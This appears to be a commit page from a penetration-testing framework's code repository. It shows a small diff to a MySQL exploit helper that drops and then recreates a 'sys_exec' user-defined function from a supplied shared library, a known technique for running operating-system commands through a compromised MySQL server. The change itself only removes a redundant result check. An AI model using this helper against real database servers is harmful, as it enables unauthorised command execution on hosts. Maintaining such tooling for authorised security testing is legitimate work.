Lnad #5334, @wchen-r7's deletes unnecessary check on mysql_drop_and_create_sys_exec
commit
3c92d5365e
|
@ -162,8 +162,9 @@ module Exploit::Remote::MYSQL
|
|||
end
|
||||
|
||||
def mysql_drop_and_create_sys_exec(soname)
|
||||
res = mysql_query("DROP FUNCTION IF EXISTS sys_exec") # Already checked, actually
|
||||
return false if res.nil?
|
||||
# Just drop it. MySQL will always say "OK" anyway.
|
||||
# See #5244
|
||||
mysql_query("DROP FUNCTION IF EXISTS sys_exec")
|
||||
|
||||
res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
|
||||
return false if res.nil?
|
||||
|
|
Loading…
Reference in New Issue